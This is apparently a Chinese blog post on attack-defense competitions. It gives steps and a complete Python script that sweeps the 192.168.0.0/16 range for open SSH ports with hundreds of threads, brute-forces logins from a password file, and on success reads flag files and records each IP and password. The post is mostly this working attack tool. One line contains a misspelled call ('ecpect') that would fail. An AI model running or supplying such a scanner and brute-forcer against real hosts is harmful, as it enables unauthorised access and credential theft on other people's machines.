网络攻防之——Python实现ssh端口扫描并爆破

发表于 更新于 分类于 阅读次数： 本文字数： 1.3k 阅读时长 ≈ 1 分钟

实现步骤

1、循环遍历出所有网段ip
2、利用多线程多并发同时探测22端口
3、把探测出来的存活机进行密码爆破
4、爆破成功则去拿到主机文件并保存ip、密码等信息
5、爆破不成功则记录该ip，进行后续操作。

代码示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/python3

import pexpect
import threading
from socket import *

ipList = [];
flag = {};


loginKey = [pexpect.TIMEOUT, "#", "\$", "\?", "again"]

def getFlag(ip, password, pex):
	try:
		pex.sendline("ls / | grep *flag* | xargs cat");
		pex.expect(loginKey);
		flag[ip + " : " + password] =  str(pex.before);
	except:
		flag[ip + " : " + password] = " ";

	

def getPassword(ip):
	try:
		for p in open("password"):
			pex = pexpect.spawn("ssh uuu@" + ip, timeout = 1);
			res = pex.expect(loginKey);
			if res == 3:
				pex.sendline("yes");
				res = pex.ecpect(loginKey);
			
			p = p.strip();
			pex.sendline(p);
			res = pex.expect(loginKey);
			if res == 1 or res == 2:
				getFlag(ip, p, pex);
				return True;
	except:
		pass;
	ipList.append(ip);
	return False;


def scan(ip):
	s = socket(AF_INET, SOCK_STREAM);
	s.settimeout(1);
	try:
		s.connect((ip, 22));
		print(ip);
		getPassword(ip);
	except:
		pass;
	finally:
		s.close();



for a in range(1, 255):
	for b in range(1,255):
		while len(threading.enumerate()) >= 255:
			pass;
		ip = "192.168." + str(a) + "." + str(b)
		threading.Thread(target=scan, args=(ip,)).start();

while len(threading.enumerate()) > 1:
	pass;
print(ipList);
print(flag);